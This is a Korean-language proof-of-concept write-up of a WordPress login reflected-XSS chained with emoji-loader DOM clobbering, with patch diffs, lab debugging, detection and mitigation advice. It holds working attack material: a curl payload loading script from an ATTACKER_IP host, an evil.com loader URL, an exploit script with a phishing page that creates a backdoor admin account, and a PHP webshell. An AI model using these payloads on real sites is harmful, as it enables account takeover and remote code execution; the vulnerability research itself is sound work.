
CVE-2026-64638에 대한 개념 증명(PoC) 익스플로잇: WordPress 로그인에서의 반사형 XSS를 DOM clobbering과 연계하여 관리자 계정 탈취 및 원격 코드 실행을 달성합니다.
소프트웨어: WordPress Core ≤ 7.0.2 (7.0.3 이전의 모든 버전)
CVSS: 8.9 (높음)
CWE: CWE-79 — 웹 페이지 생성 중 입력의 부적절한 중화
인증 필요: 없음 (Pre-Auth)
사용자 상호작용: 활성 (관리자가 링크 1회 클릭 필요)
영향: XSS → 계정 탈취 → 원격 코드 실행
WordPress는 전 세계 웹사이트의 40% 이상을 차지하는 세계에서 가장 인기 있는 콘텐츠 관리 시스템입니다. 모든 WordPress 사이트에는 /wp-login.php에 로그인 페이지가 있으며, 이는 인증 없이 누구나 접근할 수 있는 공개 엔드포인트입니다.
사용자가 잘못된 사용자 이름을 입력하면 WordPress는 사용자가 방금 입력한 사용자 이름이 포함된 오류 메시지를 표시합니다: “사용자 이름 X은(는) 이 사이트에 등록되어 있지 않습니다.” 문제는 사용자 이름 값이 어떤 이스케이프 함수도 거치지 않고 HTML 응답에 직접 배치된다는 점입니다. 공격자는 실제 사용자 이름 대신 HTML/JavaScript를 입력하기만 하면 코드가 브라우저에서 실행됩니다.
이것은 반사형 XSS(reflected XSS) 결함입니다 — 페이로드가 요청에 포함되어 서버가 HTML에서 동일하게 반사합니다. 위험한 이유는 이 결함이 로그인 페이지에 있기 때문입니다. 로그인 페이지는 관리자가 자주 접근하는 곳이며, 여기서 관리자 세션 쿠키를 탈취할 수 있습니다.
연구팀은 또한 이 XSS가 WordPress의 emoji-loader의 DOM 클로버링 취약점과 연결될 수 있어 외부 서버에서 JavaScript를 로드할 수 있음을 발견했습니다. 이를 통해 공격자는 새 관리자 계정 생성 → 웹셸이 포함된 플러그인 설치 → 서버에서 PHP 코드 실행까지 진행할 수 있습니다. 이 공격 체인을 XSS2Shell이라고 합니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2026-64638 |
| CVSS 점수 | 8.9 (높음) |
| 소프트웨어 | WordPress Core ≤ 7.0.2 |
| 인증 | 필요 없음 (Pre-Auth) |
| 사용자 상호작용 | 클릭 1회 필요 (관리자가 링크 클릭) |
| 공격 복잡성 | 높음 |
| 패치됨 | WordPress 7.0.3 (2026-06-08) |
| 제보자 | pwn.ai 팀 (HackerOne 경유) |
| HackerOne 보고서 | #3877102 |
WordPress는 모든 페이지(로그인 페이지 포함)에서 emoji-loader.js 파일을 통해 이모지 지원을 로드합니다. 이 스크립트는 id="wp-emoji-settings" 요소에서 구성을 읽습니다:
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
document.getElementById()는 DOM에서 일치하는 id를 가진 첫 번째 요소를 반환합니다. 공격자가 원래 스크립트 태그 앞에 <div id="wp-emoji-settings">를 주입하면 getElementById는 실제 구성 대신 공격자의 콘텐츠를 읽습니다. 이 기법을 DOM 클로버링이라고 합니다 — HTML 요소를 주입하여 JavaScript 동작을 덮어쓰는 것입니다.
이모지 구성에는 JavaScript 파일(concatemoji)을 로드하기 위한 URL이 포함되어 있습니다. 공격자가 이 URL을 제어하면 → 외부 서버에서 JS 파일을 로드하여 → 브라우저 컨텍스트에서 임의 코드를 실행할 수 있습니다.
관리자 컨텍스트에서 JavaScript 실행이 달성되면 공격자는 전체 WordPress 관리자 권한을 갖게 됩니다:
/wp-admin/user-new.php 호출/wp-admin/plugin-install.php를 통해 플러그인 업로드위 3가지 방법 중 하나라도 서버에서 PHP 코드를 실행할 수 있게 합니다 — 즉 RCE입니다.
wordpress-develop의 수정 커밋 0d6d42e에서 wp-includes/user.php 파일의 사용자 이름/이메일이 오류 메시지에 직접 배치되는 3개 위치를 확인했습니다:
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
위치 1 — 189행 (사용자 이름이 존재하지 않음):
수정 전:
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

수정 후:
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
위치 2 — 216행 (잘못된 비밀번호):
수정 전:

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
수정 후:
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
위치 3 — 299행 (이메일의 잘못된 비밀번호):
수정 전:

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
수정 후:
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
POST 요청에서 오류 메시지까지의 데이터 흐름:
$_POST['log'] ← user input from login form
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← only removes backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← strips HTML tags, but has a bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← user not found
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filters HTML but allows <div>, <a>, through
↓
HTML response → browser render → JavaScript execute
WordPress에는 사용자 이름이 HTML에 도달하기 전에 2개의 필터링 계층이 있습니다:
계층 1: sanitize_user() — strip_tags()를 호출하여 HTML 태그를 제거합니다. 그러나 PHP의 strip_tags()에는 알려진 한계가 있습니다: 비표준 태그 형식으로 필터를 우회할 수 있습니다.
계층 2: wp_kses_post() — <div>, <a>, `` 등 특정 속성을 가진 안전한 HTML 하위 집합을 통과시킵니다 (단, onerror, onload와 같은 이벤트 핸들러는 제거). 핵심: wp_kses_post는 DOM 클로버링에 정확히 필요한 요소인 <div id="wp-emoji-settings">를 허용합니다.
pwn.ai 팀은 두 계층을 모두 우회하여 실용적인 페이로드를 주입할 방법을 찾았습니다. 구체적인 기술적 세부 사항은 공개되지 않았습니다.
사용자 이름이 이스케이프 없이 HTML로 직접 들어가는지 시각적으로 확인하기 위해 Xdebug + VS Code를 사용하여 실행 체인의 주요 지점에 중단점을 설정했습니다.
1단계 — 로그인 폼에 XSS 페이로드 입력:
http://localhost:8282/wp-login.php에 접속하여 사용자 이름으로 ``를 입력한 후 Log In을 클릭합니다. 알림 팝업이 나타나면 — XSS가 동작하는 것입니다.


2단계 — user.php:184에 중단점 설정 — XSS가 발생하는 위치:
wp_authenticate_username_password() 함수 내부의 return new WP_Error(...)에 중단점을 설정합니다. 디버거가 멈추면 다음을 관찰합니다:
$username = "" — 그대로인 HTML 페이로드, 이스케이프되지 않음$_POST 패널: log = "" — 페이로드가 폼 입력에서 비롯되었음을 확인wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
$username 값은 $_POST['log'] → wp_unslash() → (sanitize_user 우회) → 186-189행의 오류 메시지로 sprintf()되는 경로를 거치며, 그 사이에 esc_html()이 없습니다. 실습 환경에서는 pwn.ai가 발견한 우회를 시뮬레이션하기 위해 sanitize_user()를 주석 처리했습니다.
3단계 — functions.php:9200에 중단점 설정 — 최종 출력:
echo wp_get_admin_notice( $message, $args )에 중단점을 설정합니다 — 이는 HTML이 브라우저로 출력되기 직전의 마지막 줄입니다:
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — 페이로드가 HTML 오류 메시지 안에 온전히 존재wp_kses_post()로 감싸져 있지 않으며(우회를 시뮬레이션하기 위해 패치됨), 페이로드가 브라우저로 직접 전달됩니다
원본 WordPress에서 이 줄은 echo wp_kses_post( wp_get_admin_notice(...) )입니다 — wp_kses_post()는 onerror 속성을 제거하지만, <div>는 허용 목록에 있으므로 <div id="wp-emoji-settings">는 통과시킵니다. 이것이 정확히 DOM 클로버링 공격의 벡터입니다.
커밋 a12c8f5는 DOM 클로버링을 차단하도록 emoji-loader.js를 수정합니다:
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
수정은 3가지를 변경합니다:
getElementById 대신 querySelector('script#...') 사용 — <script> 태그만 일치instanceof HTMLScriptElement 확인 — <div> 또는 ``를 통한 DOM 클로버링 방지.textContent 대신 .text 사용 — .text는 HTMLScriptElement의 고유 속성수정 후에는 공격자가 <div id="wp-emoji-settings">를 주입하더라도 <script> 요소가 아니므로 emoji-loader가 이를 무시합니다.
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ Creates phishing link containing XSS payload │
│ POST /wp-login.php with log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sends link to admin (email, chat, etc.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN CLICKS LINK │
│ Browser POSTs to /wp-login.php → server reflects payload │
│ → <div id="wp-emoji-settings"> appears in HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js executes
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → returns attacker div │
│ JSON.parse(div.textContent) → reads fake configuration │
│ Loads script from https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS executes in admin context
▼
┌─────────────────────────────────────────────────────────────────┐
│ ACCOUNT TAKEOVER + RCE │
│ 1. Fetch /wp-admin/user-new.php → get nonce │
│ 2. POST create new admin account (backdoor) │
│ 3. Login using backdoor account │
│ 4. Install plugin containing PHP webshell │
│ 5. Call webshell → RCE on server │
└─────────────────────────────────────────────────────────────────┘
http://localhost:8282/wp-login.php에 접속하여 다음을 입력합니다:
Log In을 클릭합니다. “localhost”를 표시하는 알림 팝업이 나타나면 → XSS가 동작하는 것입니다.
결과 — 페이로드가 HTML에 온전히 반사됨:

더 복잡한 페이로드 — 공격자의 JS 파일을 가리키는 JSON이 포함된 id="wp-emoji-settings"를 가진 <div> 주입:

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
HTML 출력에 공격자의 JSON이 포함된 <div id="wp-emoji-settings">가 나타나면 → emoji-loader가 공격자 서버에서 JS를 로드하게 됩니다.
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
exploit.py 스크립트는 2가지를 제공합니다:
http://127.0.0.1:9999/phish.html — WordPress 보안 업데이트를 사칭하는 피싱 페이지http://127.0.0.1:9999/evil.js — 백도어 관리자 계정을 생성하는 JS 페이로드공격자는 http://127.0.0.1:9999/phish.html 링크를 이메일/채팅을 통해 관리자에게 보냅니다. 관리자가 클릭하면:
/wp-login.php에 자동 POST<div id="wp-emoji-settings">가 나타남emoji-loader.js가 가짜 div를 읽고 → 공격자 서버에서 evil.js 로드evil.js가 관리자 브라우저에서 실행 → /wp-admin/user-new.php를 가져와 nonce를 획득 → backdoor_xss2shell / Pwn3d!XSS2Shell 계정 생성
전체 프로세스는 자동으로 진행되며, 관리자는 “사용자 이름을 찾을 수 없음” 오류가 표시된 일반적인 로그인 페이지만 보게 됩니다.
실습 환경에서는 관리자가 이미 admin / admin123으로 로그인되어 있어 evil.js가 즉시 실행되었습니다. 계정 접근 권한을 획득한 후 플러그인을 통해 웹셸을 즉시 업로드했습니다:

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


출력에서 www-data가 반환되었습니다 — 이제 공격자는 서버에서 명령 실행 권한을 보유합니다.
/wp-login.php 엔드포인트는 항상 공개되어 있으며 숨길 수 없음 (로그인 URL을 변경하는 플러그인을 사용하지 않는 한)HttpOnly가 제대로 설정되지 않은 경우) 또는 자격 증명 피싱을 허용함수정 1 — 출력 이스케이프 (user.php):
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
수정 2 — emoji-loader 강화 (emoji-loader.js):
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
수정 3 — URL 이스케이프 (wp-login.php):
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
log 매개변수에 HTML 페이로드가 포함된 /wp-login.php POST 요청 찾기sanitize_user()는 사용자 이름을 정규화하기 위해 설계된 것이지 XSS를 방지하기 위한 것이 아닙니다. 심층 방어: 출력 지점에서의 이스케이프(esc_html, esc_attr, esc_url)가 최종적이면서 가장 중요한 방어 계층입니다.getElementById를 사용하지 마십시오. DOM 클로버링은 동일한 id를 가진 가짜 요소를 주입할 수 있습니다. 특정 태그 이름과 함께 querySelector를 사용하고 instanceof 확인을 하십시오.wp_kses_post는 XSS 필터가 아닙니다. 게시물 콘텐츠에서 안전한 HTML을 허용하기 위해 설계된 것이지, 다른 컨텍스트의 XSS를 차단하기 위한 것이 아닙니다. 각 컨텍스트에는 전용 이스케이프 함수가 필요합니다.| CVSS 지표 | 값 | 이유 |
|---|
| 공격 벡터 | 네트워크 | HTTP를 통해 피해자에게 링크 전송 |
| 공격 복잡성 | 높음 | sanitize_user() + wp_kses_post() 우회 필요, 피해자 클릭 필요 |
| 필요한 권한 | 없음 | 로그인 엔드포인트는 인증 불필요 |
| 사용자 상호작용 | 활성 | 관리자가 피싱 링크를 클릭해야 함 |
| 기밀성 | 높음 | 쿠키, 세션, 관리자 패널 콘텐츠 읽기 |
| 무결성 | 높음 | 관리자 계정 생성, 플러그인 설치, 파일 수정 |
| 가용성 | 높음 | RCE → 서버 완전 제어 |